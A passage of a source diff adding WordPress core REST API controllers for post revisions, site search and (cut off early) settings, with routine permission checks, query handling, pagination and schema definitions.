+	 * Get the parent post, if the ID is valid.
+	 *
+	 * @since 4.7.2
+	 *
+	 * @param int $id Supplied ID.
+	 * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise.
+	 */
+	protected function get_parent( $parent ) {
+		$error = new WP_Error( 'rest_post_invalid_parent', __( 'Invalid post parent ID.' ), array( 'status' => 404 ) );
+		if ( (int) $parent <= 0 ) {
+			return $error;
+		}
+
+		$parent = get_post( (int) $parent );
+		if ( empty( $parent ) || empty( $parent->ID ) || $this->parent_post_type !== $parent->post_type ) {
+			return $error;
+		}
+
+		return $parent;
+	}
+
+	/**
+	 * Checks if a given request has access to get revisions.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full data about the request.
+	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
+	 */
+	public function get_items_permissions_check( $request ) {
+		$parent = $this->get_parent( $request['parent'] );
+		if ( is_wp_error( $parent ) ) {
+			return $parent;
+		}
+
+		$parent_post_type_obj = get_post_type_object( $parent->post_type );
+		if ( ! current_user_can( $parent_post_type_obj->cap->edit_post, $parent->ID ) ) {
+			return new WP_Error( 'rest_cannot_read', __( 'Sorry, you are not allowed to view revisions of this post.' ), array( 'status' => rest_authorization_required_code() ) );
+		}
+
+		return true;
+	}
+
+	/**
+	 * Get the revision, if the ID is valid.
+	 *
+	 * @since 4.7.2
+	 *
+	 * @param int $id Supplied ID.
+	 * @return WP_Post|WP_Error Revision post object if ID is valid, WP_Error otherwise.
+	 */
+	protected function get_revision( $id ) {
+		$error = new WP_Error( 'rest_post_invalid_id', __( 'Invalid revision ID.' ), array( 'status' => 404 ) );
+		if ( (int) $id <= 0 ) {
+			return $error;
+		}
+
+		$revision = get_post( (int) $id );
+		if ( empty( $revision ) || empty( $revision->ID ) || 'revision' !== $revision->post_type ) {
+			return $error;
+		}
+
+		return $revision;
+	}
+
+	/**
+	 * Gets a collection of revisions.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full data about the request.
+	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
+	 */
+	public function get_items( $request ) {
+		$parent = $this->get_parent( $request['parent'] );
+		if ( is_wp_error( $parent ) ) {
+			return $parent;
+		}
+
+		// Ensure a search string is set in case the orderby is set to 'relevance'.
+		if ( ! empty( $request['orderby'] ) && 'relevance' === $request['orderby'] && empty( $request['search'] ) ) {
+			return new WP_Error( 'rest_no_search_term_defined', __( 'You need to define a search term to order by relevance.' ), array( 'status' => 400 ) );
+		}
+
+		// Ensure an include parameter is set in case the orderby is set to 'include'.
+		if ( ! empty( $request['orderby'] ) && 'include' === $request['orderby'] && empty( $request['include'] ) ) {
+			return new WP_Error( 'rest_orderby_include_missing_include', __( 'You need to define an include parameter to order by include.' ), array( 'status' => 400 ) );
+		}
+
+		if ( wp_revisions_enabled( $parent ) ) {
+			$registered = $this->get_collection_params();
+			$args       = array(
+				'post_parent'      => $parent->ID,
+				'post_type'        => 'revision',
+				'post_status'      => 'inherit',
+				'posts_per_page'   => -1,
+				'orderby'          => 'date ID',
+				'order'            => 'DESC',
+				'suppress_filters' => true,
+			);
+
+			$parameter_mappings = array(
+				'exclude'  => 'post__not_in',
+				'include'  => 'post__in',
+				'offset'   => 'offset',
+				'order'    => 'order',
+				'orderby'  => 'orderby',
+				'page'     => 'paged',
+				'per_page' => 'posts_per_page',
+				'search'   => 's',
+			);
+
+			foreach ( $parameter_mappings as $api_param => $wp_param ) {
+				if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) {
+					$args[ $wp_param ] = $request[ $api_param ];
+				}
+			}
+
+			// For backward-compatibility, 'date' needs to resolve to 'date ID'.
+			if ( isset( $args['orderby'] ) && 'date' === $args['orderby'] ) {
+				$args['orderby'] = 'date ID';
+			}
+
+			/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */
+			$args       = apply_filters( 'rest_revision_query', $args, $request );
+			$query_args = $this->prepare_items_query( $args, $request );
+
+			$revisions_query = new WP_Query();
+			$revisions       = $revisions_query->query( $query_args );
+			$offset          = isset( $query_args['offset'] ) ? (int) $query_args['offset'] : 0;
+			$page            = (int) $query_args['paged'];
+			$total_revisions = $revisions_query->found_posts;
+
+			if ( $total_revisions < 1 ) {
+				// Out-of-bounds, run the query again without LIMIT for total count.
+				unset( $query_args['paged'], $query_args['offset'] );
+
+				$count_query = new WP_Query();
+				$count_query->query( $query_args );
+
+				$total_revisions = $count_query->found_posts;
+			}
+
+			if ( $revisions_query->query_vars['posts_per_page'] > 0 ) {
+				$max_pages = ceil( $total_revisions / (int) $revisions_query->query_vars['posts_per_page'] );
+			} else {
+				$max_pages = $total_revisions > 0 ? 1 : 0;
+			}
+
+			if ( $total_revisions > 0 ) {
+				if ( $offset >= $total_revisions ) {
+					return new WP_Error( 'rest_revision_invalid_offset_number', __( 'The offset number requested is larger than or equal to the number of available revisions.' ), array( 'status' => 400 ) );
+				} elseif ( ! $offset && $page > $max_pages ) {
+					return new WP_Error( 'rest_revision_invalid_page_number', __( 'The page number requested is larger than the number of pages available.' ), array( 'status' => 400 ) );
+				}
+			}
+		} else {
+			$revisions       = array();
+			$total_revisions = 0;
+			$max_pages       = 0;
+			$page            = (int) $request['page'];
+		}
+
+		$response = array();
+		foreach ( $revisions as $revision ) {
+			$data = $this->prepare_item_for_response( $revision, $request );
+			$response[] = $this->prepare_response_for_collection( $data );
+		}
+
+		$response = rest_ensure_response( $response );
+
+		$response->header( 'X-WP-Total', (int) $total_revisions );
+		$response->header( 'X-WP-TotalPages', (int) $max_pages );
+
+		$request_params = $request->get_query_params();
+		$base           = add_query_arg( $request_params, rest_url( sprintf( '%s/%s/%d/%s', $this->namespace, $this->parent_base, $request['parent'], $this->rest_base ) ) );
+
+		if ( $page > 1 ) {
+			$prev_page = $page - 1;
+
+			if ( $prev_page > $max_pages ) {
+				$prev_page = $max_pages;
+			}
+
+			$prev_link = add_query_arg( 'page', $prev_page, $base );
+			$response->link_header( 'prev', $prev_link );
+		}
+		if ( $max_pages > $page ) {
+			$next_page = $page + 1;
+			$next_link = add_query_arg( 'page', $next_page, $base );
+
+			$response->link_header( 'next', $next_link );
+		}
+
+		return $response;
+	}
+
+	/**
+	 * Checks if a given request has access to get a specific revision.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full data about the request.
+	 * @return bool|WP_Error True if the request has read access for the item, WP_Error object otherwise.
+	 */
+	public function get_item_permissions_check( $request ) {
+		return $this->get_items_permissions_check( $request );
+	}
+
+	/**
+	 * Retrieves one revision from the collection.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full data about the request.
+	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
+	 */
+	public function get_item( $request ) {
+		$parent = $this->get_parent( $request['parent'] );
+		if ( is_wp_error( $parent ) ) {
+			return $parent;
+		}
+
+		$revision = $this->get_revision( $request['id'] );
+		if ( is_wp_error( $revision ) ) {
+			return $revision;
+		}
+
+		$response = $this->prepare_item_for_response( $revision, $request );
+		return rest_ensure_response( $response );
+	}
+
+	/**
+	 * Checks if a given request has access to delete a revision.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param  WP_REST_Request $request Full details about the request.
+	 * @return bool|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
+	 */
+	public function delete_item_permissions_check( $request ) {
+		$parent = $this->get_parent( $request['parent'] );
+		if ( is_wp_error( $parent ) ) {
+			return $parent;
+		}
+
+		$revision = $this->get_revision( $request['id'] );
+		if ( is_wp_error( $revision ) ) {
+			return $revision;
+		}
+
+		$response = $this->get_items_permissions_check( $request );
+		if ( ! $response || is_wp_error( $response ) ) {
+			return $response;
+		}
+
+		$post_type = get_post_type_object( 'revision' );
+		return current_user_can( $post_type->cap->delete_post, $revision->ID );
+	}
+
+	/**
+	 * Deletes a single revision.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return true|WP_Error True on success, or WP_Error object on failure.
+	 */
+	public function delete_item( $request ) {
+		$revision = $this->get_revision( $request['id'] );
+		if ( is_wp_error( $revision ) ) {
+			return $revision;
+		}
+
+		$force = isset( $request['force'] ) ? (bool) $request['force'] : false;
+
+		// We don't support trashing for revisions.
+		if ( ! $force ) {
+			/* translators: %s: force=true */
+			return new WP_Error( 'rest_trash_not_supported', sprintf( __( "Revisions do not support trashing. Set '%s' to delete." ), 'force=true' ), array( 'status' => 501 ) );
+		}
+
+		$previous = $this->prepare_item_for_response( $revision, $request );
+
+		$result = wp_delete_post( $request['id'], true );
+
+		/**
+		 * Fires after a revision is deleted via the REST API.
+		 *
+		 * @since 4.7.0
+		 *
+		 * @param (mixed) $result The revision object (if it was deleted or moved to the trash successfully)
+		 *                        or false (failure). If the revision was moved to the trash, $result represents
+		 *                        its new state; if it was deleted, $result represents its state before deletion.
+		 * @param WP_REST_Request $request The request sent to the API.
+		 */
+		do_action( 'rest_delete_revision', $result, $request );
+
+		if ( ! $result ) {
+			return new WP_Error( 'rest_cannot_delete', __( 'The post cannot be deleted.' ), array( 'status' => 500 ) );
+		}
+
+		$response = new WP_REST_Response();
+		$response->set_data( array( 'deleted' => true, 'previous' => $previous->get_data() ) );
+		return $response;
+	}
+
+	/**
+	 * Determines the allowed query_vars for a get_items() response and prepares
+	 * them for WP_Query.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param array           $prepared_args Optional. Prepared WP_Query arguments. Default empty array.
+	 * @param WP_REST_Request $request       Optional. Full details about the request.
+	 * @return array Items query arguments.
+	 */
+	protected function prepare_items_query( $prepared_args = array(), $request = null ) {
+		$query_args = array();
+
+		foreach ( $prepared_args as $key => $value ) {
+			/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */
+			$query_args[ $key ] = apply_filters( "rest_query_var-{$key}", $value ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
+		}
+
+		// Map to proper WP_Query orderby param.
+		if ( isset( $query_args['orderby'] ) && isset( $request['orderby'] ) ) {
+			$orderby_mappings = array(
+				'id'            => 'ID',
+				'include'       => 'post__in',
+				'slug'          => 'post_name',
+				'include_slugs' => 'post_name__in',
+			);
+
+			if ( isset( $orderby_mappings[ $request['orderby'] ] ) ) {
+				$query_args['orderby'] = $orderby_mappings[ $request['orderby'] ];
+			}
+		}
+
+		return $query_args;
+	}
+
+	/**
+	 * Prepares the revision for the REST response.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_Post         $post    Post revision object.
+	 * @param WP_REST_Request $request Request object.
+	 * @return WP_REST_Response Response object.
+	 */
+	public function prepare_item_for_response( $post, $request ) {
+		$GLOBALS['post'] = $post;
+
+		setup_postdata( $post );
+
+		$fields = $this->get_fields_for_response( $request );
+		$data   = array();
+
+		if ( in_array( 'author', $fields, true ) ) {
+			$data['author'] = (int) $post->post_author;
+		}
+
+		if ( in_array( 'date', $fields, true ) ) {
+			$data['date'] = $this->prepare_date_response( $post->post_date_gmt, $post->post_date );
+		}
+
+		if ( in_array( 'date_gmt', $fields, true ) ) {
+			$data['date_gmt'] = $this->prepare_date_response( $post->post_date_gmt );
+		}
+
+		if ( in_array( 'id', $fields, true ) ) {
+			$data['id'] = $post->ID;
+		}
+
+		if ( in_array( 'modified', $fields, true ) ) {
+			$data['modified'] = $this->prepare_date_response( $post->post_modified_gmt, $post->post_modified );
+		}
+
+		if ( in_array( 'modified_gmt', $fields, true ) ) {
+			$data['modified_gmt'] = $this->prepare_date_response( $post->post_modified_gmt );
+		}
+
+		if ( in_array( 'parent', $fields, true ) ) {
+			$data['parent'] = (int) $post->post_parent;
+		}
+
+		if ( in_array( 'slug', $fields, true ) ) {
+			$data['slug'] = $post->post_name;
+		}
+
+		if ( in_array( 'guid', $fields, true ) ) {
+			$data['guid'] = array(
+				/** This filter is documented in wp-includes/post-template.php */
+				'rendered' => apply_filters( 'get_the_guid', $post->guid, $post->ID ),
+				'raw'      => $post->guid,
+			);
+		}
+
+		if ( in_array( 'title', $fields, true ) ) {
+			$data['title'] = array(
+				'raw'      => $post->post_title,
+				'rendered' => get_the_title( $post->ID ),
+			);
+		}
+
+		if ( in_array( 'content', $fields, true ) ) {
+
+			$data['content'] = array(
+				'raw'      => $post->post_content,
+				/** This filter is documented in wp-includes/post-template.php */
+				'rendered' => apply_filters( 'the_content', $post->post_content ),
+			);
+		}
+
+		if ( in_array( 'excerpt', $fields, true ) ) {
+			$data['excerpt'] = array(
+				'raw'      => $post->post_excerpt,
+				'rendered' => $this->prepare_excerpt_response( $post->post_excerpt, $post ),
+			);
+		}
+
+		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
+		$data = $this->add_additional_fields_to_object( $data, $request );
+		$data = $this->filter_response_by_context( $data, $context );
+		$response = rest_ensure_response( $data );
+
+		if ( ! empty( $data['parent'] ) ) {
+			$response->add_link( 'parent', rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->parent_base, $data['parent'] ) ) );
+		}
+
+		/**
+		 * Filters a revision returned from the API.
+		 *
+		 * Allows modification of the revision right before it is returned.
+		 *
+		 * @since 4.7.0
+		 *
+		 * @param WP_REST_Response $response The response object.
+		 * @param WP_Post          $post     The original revision object.
+		 * @param WP_REST_Request  $request  Request used to generate the response.
+		 */
+		return apply_filters( 'rest_prepare_revision', $response, $post, $request );
+	}
+
+	/**
+	 * Checks the post_date_gmt or modified_gmt and prepare any post or
+	 * modified date for single post output.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param string      $date_gmt GMT publication time.
+	 * @param string|null $date     Optional. Local publication time. Default null.
+	 * @return string|null ISO8601/RFC3339 formatted datetime, otherwise null.
+	 */
+	protected function prepare_date_response( $date_gmt, $date = null ) {
+		if ( '0000-00-00 00:00:00' === $date_gmt ) {
+			return null;
+		}
+
+		if ( isset( $date ) ) {
+			return mysql_to_rfc3339( $date );
+		}
+
+		return mysql_to_rfc3339( $date_gmt );
+	}
+
+	/**
+	 * Retrieves the revision's schema, conforming to JSON Schema.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @return array Item schema data.
+	 */
+	public function get_item_schema() {
+		$schema = array(
+			'$schema'    => 'http://json-schema.org/draft-04/schema#',
+			'title'      => "{$this->parent_post_type}-revision",
+			'type'       => 'object',
+			// Base properties for every Revision.
+			'properties' => array(
+				'author'          => array(
+					'description' => __( 'The ID for the author of the object.' ),
+					'type'        => 'integer',
+					'context'     => array( 'view', 'edit', 'embed' ),
+				),
+				'date'            => array(
+					'description' => __( "The date the object was published, in the site's timezone." ),
+					'type'        => 'string',
+					'format'      => 'date-time',
+					'context'     => array( 'view', 'edit', 'embed' ),
+				),
+				'date_gmt'        => array(
+					'description' => __( 'The date the object was published, as GMT.' ),
+					'type'        => 'string',
+					'format'      => 'date-time',
+					'context'     => array( 'view', 'edit' ),
+				),
+				'guid'            => array(
+					'description' => __( 'GUID for the object, as it exists in the database.' ),
+					'type'        => 'string',
+					'context'     => array( 'view', 'edit' ),
+				),
+				'id'              => array(
+					'description' => __( 'Unique identifier for the object.' ),
+					'type'        => 'integer',
+					'context'     => array( 'view', 'edit', 'embed' ),
+				),
+				'modified'        => array(
+					'description' => __( "The date the object was last modified, in the site's timezone." ),
+					'type'        => 'string',
+					'format'      => 'date-time',
+					'context'     => array( 'view', 'edit' ),
+				),
+				'modified_gmt'    => array(
+					'description' => __( 'The date the object was last modified, as GMT.' ),
+					'type'        => 'string',
+					'format'      => 'date-time',
+					'context'     => array( 'view', 'edit' ),
+				),
+				'parent'          => array(
+					'description' => __( 'The ID for the parent of the object.' ),
+					'type'        => 'integer',
+					'context'     => array( 'view', 'edit', 'embed' ),
+					),
+				'slug'            => array(
+					'description' => __( 'An alphanumeric identifier for the object unique to its type.' ),
+					'type'        => 'string',
+					'context'     => array( 'view', 'edit', 'embed' ),
+				),
+			),
+		);
+
+		$parent_schema = $this->parent_controller->get_item_schema();
+
+		if ( ! empty( $parent_schema['properties']['title'] ) ) {
+			$schema['properties']['title'] = $parent_schema['properties']['title'];
+		}
+
+		if ( ! empty( $parent_schema['properties']['content'] ) ) {
+			$schema['properties']['content'] = $parent_schema['properties']['content'];
+		}
+
+		if ( ! empty( $parent_schema['properties']['excerpt'] ) ) {
+			$schema['properties']['excerpt'] = $parent_schema['properties']['excerpt'];
+		}
+
+		if ( ! empty( $parent_schema['properties']['guid'] ) ) {
+			$schema['properties']['guid'] = $parent_schema['properties']['guid'];
+		}
+
+		return $this->add_additional_fields_schema( $schema );
+	}
+
+	/**
+	 * Retrieves the query params for collections.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @return array Collection parameters.
+	 */
+	public function get_collection_params() {
+		$query_params = parent::get_collection_params();
+
+		$query_params['context']['default'] = 'view';
+
+		unset( $query_params['per_page']['default'] );
+
+		$query_params['exclude'] = array(
+			'description' => __( 'Ensure result set excludes specific IDs.' ),
+			'type'        => 'array',
+			'items'       => array(
+				'type' => 'integer',
+			),
+			'default'     => array(),
+		);
+
+		$query_params['include'] = array(
+			'description' => __( 'Limit result set to specific IDs.' ),
+			'type'        => 'array',
+			'items'       => array(
+				'type' => 'integer',
+			),
+			'default'     => array(),
+		);
+
+		$query_params['offset'] = array(
+			'description' => __( 'Offset the result set by a specific number of items.' ),
+			'type'        => 'integer',
+		);
+
+		$query_params['order'] = array(
+			'description' => __( 'Order sort attribute ascending or descending.' ),
+			'type'        => 'string',
+			'default'     => 'desc',
+			'enum'        => array( 'asc', 'desc' ),
+		);
+
+		$query_params['orderby'] = array(
+			'description' => __( 'Sort collection by object attribute.' ),
+			'type'        => 'string',
+			'default'     => 'date',
+			'enum'        => array(
+				'date',
+				'id',
+				'include',
+				'relevance',
+				'slug',
+				'include_slugs',
+				'title',
+			),
+		);
+
+		return $query_params;
+	}
+
+	/**
+	 * Checks the post excerpt and prepare it for single post output.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param string  $excerpt The post excerpt.
+	 * @param WP_Post $post    Post revision object.
+	 * @return string Prepared excerpt or empty string.
+	 */
+	protected function prepare_excerpt_response( $excerpt, $post ) {
+
+		/** This filter is documented in wp-includes/post-template.php */
+		$excerpt = apply_filters( 'the_excerpt', $excerpt, $post );
+
+		if ( empty( $excerpt ) ) {
+			return '';
+		}
+
+		return $excerpt;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php
===================================================================
--- /tags/5.0.20/src/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php	(revision 56912)
@@ -0,0 +1,359 @@
+<?php
+/**
+ * REST API: WP_REST_Search_Controller class
+ *
+ * @package WordPress
+ * @subpackage REST_API
+ * @since 5.0.0
+ */
+
+/**
+ * Core class to search through all WordPress content via the REST API.
+ *
+ * @since 5.0.0
+ *
+ * @see WP_REST_Controller
+ */
+class WP_REST_Search_Controller extends WP_REST_Controller {
+
+	/**
+	 * ID property name.
+	 */
+	const PROP_ID = 'id';
+
+	/**
+	 * Title property name.
+	 */
+	const PROP_TITLE = 'title';
+
+	/**
+	 * URL property name.
+	 */
+	const PROP_URL = 'url';
+
+	/**
+	 * Type property name.
+	 */
+	const PROP_TYPE = 'type';
+
+	/**
+	 * Subtype property name.
+	 */
+	const PROP_SUBTYPE = 'subtype';
+
+	/**
+	 * Identifier for the 'any' type.
+	 */
+	const TYPE_ANY = 'any';
+
+	/**
+	 * Search handlers used by the controller.
+	 *
+	 * @since 5.0.0
+	 * @var array
+	 */
+	protected $search_handlers = array();
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param array $search_handlers List of search handlers to use in the controller. Each search
+	 *                               handler instance must extend the `WP_REST_Search_Handler` class.
+	 */
+	public function __construct( array $search_handlers ) {
+		$this->namespace = 'wp/v2';
+		$this->rest_base = 'search';
+
+		foreach ( $search_handlers as $search_handler ) {
+			if ( ! $search_handler instanceof WP_REST_Search_Handler ) {
+
+				/* translators: %s: PHP class name */
+				_doing_it_wrong( __METHOD__, sprintf( __( 'REST search handlers must extend the %s class.' ), 'WP_REST_Search_Handler' ), '5.0.0' );
+				continue;
+			}
+
+			$this->search_handlers[ $search_handler->get_type() ] = $search_handler;
+		}
+	}
+
+	/**
+	 * Registers the routes for the objects of the controller.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @see register_rest_route()
+	 */
+	public function register_routes() {
+		register_rest_route(
+			$this->namespace,
+			'/' . $this->rest_base,
+			array(
+				array(
+					'methods'             => WP_REST_Server::READABLE,
+					'callback'            => array( $this, 'get_items' ),
+					'permission_callback' => array( $this, 'get_items_permission_check' ),
+					'args'                => $this->get_collection_params(),
+				),
+				'schema' => array( $this, 'get_public_item_schema' ),
+			)
+		);
+	}
+
+	/**
+	 * Checks if a given request has access to search content.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return true|WP_Error True if the request has search access, WP_Error object otherwise.
+	 */
+	public function get_items_permission_check( $request ) {
+		return true;
+	}
+
+	/**
+	 * Retrieves a collection of search results.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
+	 */
+	public function get_items( $request ) {
+		$handler = $this->get_search_handler( $request );
+		if ( is_wp_error( $handler ) ) {
+			return $handler;
+		}
+
+		$result = $handler->search_items( $request );
+
+		if ( ! isset( $result[ WP_REST_Search_Handler::RESULT_IDS ] ) || ! is_array( $result[ WP_REST_Search_Handler::RESULT_IDS ] ) || ! isset( $result[ WP_REST_Search_Handler::RESULT_TOTAL ] ) ) {
+			return new WP_Error( 'rest_search_handler_error', __( 'Internal search handler error.' ), array( 'status' => 500 ) );
+		}
+
+		$ids = array_map( 'absint', $result[ WP_REST_Search_Handler::RESULT_IDS ] );
+
+		$results = array();
+		foreach ( $ids as $id ) {
+			$data      = $this->prepare_item_for_response( $id, $request );
+			$results[] = $this->prepare_response_for_collection( $data );
+		}
+
+		$total     = (int) $result[ WP_REST_Search_Handler::RESULT_TOTAL ];
+		$page      = (int) $request['page'];
+		$per_page  = (int) $request['per_page'];
+		$max_pages = ceil( $total / $per_page );
+
+		if ( $page > $max_pages && $total > 0 ) {
+			return new WP_Error( 'rest_search_invalid_page_number', __( 'The page number requested is larger than the number of pages available.' ), array( 'status' => 400 ) );
+		}
+
+		$response = rest_ensure_response( $results );
+		$response->header( 'X-WP-Total', $total );
+		$response->header( 'X-WP-TotalPages', $max_pages );
+
+		$request_params = $request->get_query_params();
+		$base           = add_query_arg( $request_params, rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ) );
+
+		if ( $page > 1 ) {
+			$prev_link = add_query_arg( 'page', $page - 1, $base );
+			$response->link_header( 'prev', $prev_link );
+		}
+		if ( $page < $max_pages ) {
+			$next_link = add_query_arg( 'page', $page + 1, $base );
+			$response->link_header( 'next', $next_link );
+		}
+
+		return $response;
+	}
+
+	/**
+	 * Prepares a single search result for response.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param int             $id      ID of the item to prepare.
+	 * @param WP_REST_Request $request Request object.
+	 * @return WP_REST_Response Response object.
+	 */
+	public function prepare_item_for_response( $id, $request ) {
+		$handler = $this->get_search_handler( $request );
+		if ( is_wp_error( $handler ) ) {
+			return new WP_REST_Response();
+		}
+
+		$fields = $this->get_fields_for_response( $request );
+
+		$data = $handler->prepare_item( $id, $fields );
+		$data = $this->add_additional_fields_to_object( $data, $request );
+
+		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
+		$data    = $this->filter_response_by_context( $data, $context );
+
+		$response = rest_ensure_response( $data );
+
+		$links               = $handler->prepare_item_links( $id );
+		$links['collection'] = array(
+			'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
+		);
+		$response->add_links( $links );
+
+		return $response;
+	}
+
+	/**
+	 * Retrieves the item schema, conforming to JSON Schema.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @return array Item schema data.
+	 */
+	public function get_item_schema() {
+		$types    = array();
+		$subtypes = array();
+		foreach ( $this->search_handlers as $search_handler ) {
+			$types[]  = $search_handler->get_type();
+			$subtypes = array_merge( $subtypes, $search_handler->get_subtypes() );
+		}
+
+		$types    = array_unique( $types );
+		$subtypes = array_unique( $subtypes );
+
+		$schema = array(
+			'$schema'    => 'http://json-schema.org/draft-04/schema#',
+			'title'      => 'search-result',
+			'type'       => 'object',
+			'properties' => array(
+				self::PROP_ID      => array(
+					'description' => __( 'Unique identifier for the object.' ),
+					'type'        => 'integer',
+					'context'     => array( 'view', 'embed' ),
+					'readonly'    => true,
+				),
+				self::PROP_TITLE   => array(
+					'description' => __( 'The title for the object.' ),
+					'type'        => 'string',
+					'context'     => array( 'view', 'embed' ),
+					'readonly'    => true,
+				),
+				self::PROP_URL     => array(
+					'description' => __( 'URL to the object.' ),
+					'type'        => 'string',
+					'format'      => 'uri',
+					'context'     => array( 'view', 'embed' ),
+					'readonly'    => true,
+				),
+				self::PROP_TYPE    => array(
+					'description' => __( 'Object type.' ),
+					'type'        => 'string',
+					'enum'        => $types,
+					'context'     => array( 'view', 'embed' ),
+					'readonly'    => true,
+				),
+				self::PROP_SUBTYPE => array(
+					'description' => __( 'Object subtype.' ),
+					'type'        => 'string',
+					'enum'        => $subtypes,
+					'context'     => array( 'view', 'embed' ),
+					'readonly'    => true,
+				),
+			),
+		);
+
+		return $this->add_additional_fields_schema( $schema );
+	}
+
+	/**
+	 * Retrieves the query params for the search results collection.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @return array Collection parameters.
+	 */
+	public function get_collection_params() {
+		$types    = array();
+		$subtypes = array();
+		foreach ( $this->search_handlers as $search_handler ) {
+			$types[]  = $search_handler->get_type();
+			$subtypes = array_merge( $subtypes, $search_handler->get_subtypes() );
+		}
+
+		$types    = array_unique( $types );
+		$subtypes = array_unique( $subtypes );
+
+		$query_params = parent::get_collection_params();
+
+		$query_params['context']['default'] = 'view';
+
+		$query_params[ self::PROP_TYPE ] = array(
+			'default'     => $types[0],
+			'description' => __( 'Limit results to items of an object type.' ),
+			'type'        => 'string',
+			'enum'        => $types,
+		);
+
+		$query_params[ self::PROP_SUBTYPE ] = array(
+			'default'           => self::TYPE_ANY,
+			'description'       => __( 'Limit results to items of one or more object subtypes.' ),
+			'type'              => 'array',
+			'items'             => array(
+				'enum' => array_merge( $subtypes, array( self::TYPE_ANY ) ),
+				'type' => 'string',
+			),
+			'sanitize_callback' => array( $this, 'sanitize_subtypes' ),
+		);
+
+		return $query_params;
+	}
+
+	/**
+	 * Sanitizes the list of subtypes, to ensure only subtypes of the passed type are included.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param string|array    $subtypes  One or more subtypes.
+	 * @param WP_REST_Request $request   Full details about the request.
+	 * @param string          $parameter Parameter name.
+	 * @return array|WP_Error List of valid subtypes, or WP_Error object on failure.
+	 */
+	public function sanitize_subtypes( $subtypes, $request, $parameter ) {
+		$subtypes = wp_parse_slug_list( $subtypes );
+
+		$subtypes = rest_parse_request_arg( $subtypes, $request, $parameter );
+		if ( is_wp_error( $subtypes ) ) {
+			return $subtypes;
+		}
+
+		// 'any' overrides any other subtype.
+		if ( in_array( self::TYPE_ANY, $subtypes, true ) ) {
+			return array( self::TYPE_ANY );
+		}
+
+		$handler = $this->get_search_handler( $request );
+		if ( is_wp_error( $handler ) ) {
+			return $handler;
+		}
+
+		return array_intersect( $subtypes, $handler->get_subtypes() );
+	}
+
+	/**
+	 * Gets the search handler to handle the current request.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return WP_REST_Search_Handler|WP_Error Search handler for the request type, or WP_Error object on failure.
+	 */
+	protected function get_search_handler( $request ) {
+		$type = $request->get_param( self::PROP_TYPE );
+
+		if ( ! $type || ! isset( $this->search_handlers[ $type ] ) ) {
+			return new WP_Error( 'rest_search_invalid_type', __( 'Invalid type parameter.' ), array( 'status' => 400 ) );
+		}
+
+		return $this->search_handlers[ $type ];
+	}
+}
Index: /tags/5.0.20/src/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php
===================================================================
--- /tags/5.0.20/src/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php	(revision 56912)
@@ -0,0 +1,334 @@
+<?php
+/**
+ * REST API: WP_REST_Settings_Controller class
+ *
+ * @package WordPress
+ * @subpackage REST_API
+ * @since 4.7.0
+ */
+
+/**
+ * Core class used to manage a site's settings via the REST API.
+ *
+ * @since 4.7.0
+ *
+ * @see WP_REST_Controller
+ */
+class WP_REST_Settings_Controller extends WP_REST_Controller {
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 4.7.0
+	 */
+	public function __construct() {
+		$this->namespace = 'wp/v2';
+		$this->rest_base = 'settings';
+	}
+
+	/**
+	 * Registers the routes for the objects of the controller.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @see register_rest_route()
+	 */
+	public function register_routes() {
+
+		register_rest_route( $this->namespace, '/' . $this->rest_base, array(
+			array(
+				'methods'             => WP_REST_Server::READABLE,
+				'callback'            => array( $this, 'get_item' ),
+				'args'                => array(),
+				'permission_callback' => array( $this, 'get_item_permissions_check' ),
+			),
+			array(
+				'methods'             => WP_REST_Server::EDITABLE,
+				'callback'            => array( $this, 'update_item' ),
+				'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
+				'permission_callback' => array( $this, 'get_item_permissions_check' ),
